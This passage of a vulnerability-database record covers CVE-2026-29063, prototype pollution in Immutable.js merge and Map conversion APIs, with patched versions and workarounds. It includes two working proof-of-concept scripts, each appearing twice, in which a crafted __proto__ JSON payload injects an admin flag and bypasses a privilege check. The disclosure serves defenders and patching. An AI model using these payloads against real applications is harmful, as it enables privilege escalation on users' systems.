// true  ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) =\u003e b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)","status":"published","published":"2026-03-04T21:28:06Z","modified":"2026-04-24T20:48:57Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:57.650091Z"}],"nvd":[{"id":"CVE-2026-29063","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","status":"published","published":"2026-03-06T19:16:21.557Z","modified":"2026-10-30T13:16:36.64Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-1321","CWE-915"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-29063","title":"Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","status":"published","published":"2026-03-06T18:25:22.438Z","modified":"2026-11-01T02:47:36.819519905Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"DEBIAN-CVE-2026-29063","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","status":"published","published":"2026-03-06T19:16:21.557Z","modified":"2026-10-31T10:01:13.87260063Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-wf6x-7x77-mvgw","title":"Immutable is vulnerable to Prototype Pollution","description":"## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) =\u003e u.admin === true;\nconst isAdminByRole = (u) =\u003e u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true  ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) =\u003e b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)","status":"published","published":"2026-03-04T21:28:06Z","modified":"2026-09-10T03:50:41.600173338Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:58.401149Z"},{"id":"UBUNTU-CVE-2026-29063","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","status":"published","published":"2026-03-06T19:16:00Z","modified":"2026-06-30T18:17:46.659824832Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:56:11.640778Z"},{"id":"CLSA-2026-1777509598","title":"TuxCare security update for immutable (1 CVE)","description":"TuxCare rebuilt immutable to address 1 CVE. Fixed in 5.0.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:29Z","modified":"2026-10-15T09:45:51.38573815Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1782954035","title":"TuxCare security update for immutable (1 CVE)","description":"TuxCare rebuilt immutable to address 1 CVE. Fixed in 4.3.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:41Z","modified":"2026-10-15T09:47:51.693053369Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1783040459","title":"TuxCare security update for immutable (1 CVE)","description":"TuxCare rebuilt immutable to address 1 CVE. Fixed in 4.3.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:41Z","modified":"2026-10-15T09:47:52.056406282Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1784769615","title":"TuxCare security update for immutable (2 CVEs)","description":"TuxCare rebuilt immutable to address 2 CVEs. Fixed in 4.1.0-tuxcare.2.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:36.655376575Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784943404","title":"TuxCare security update for immutable (2 CVEs)","description":"TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.8.2-tuxcare.2.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:37.117999215Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785117466","title":"TuxCare security update for immutable (2 CVEs)","description":"TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.8.1-tuxcare.2.","status":"published","published":"2026-08-04T14:52:49Z","modified":"2026-10-15T09:47:55.141046754Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1790808099","title":"TuxCare security update for immutable (2 CVEs)","description":"TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.7.6-tuxcare.1.","status":"published","published":"2026-09-30T22:41:39Z","modified":"2026-10-15T09:47:41.965792166Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"ROOT-APP-NPM-CVE-2026-29063","title":"CVE-2026-29063 in immutable - Patched by Root","description":"Root has patched CVE-2026-29063 in the immutable package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-07T14:44:56Z","modified":"2026-10-07T15:15:23.041795664Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}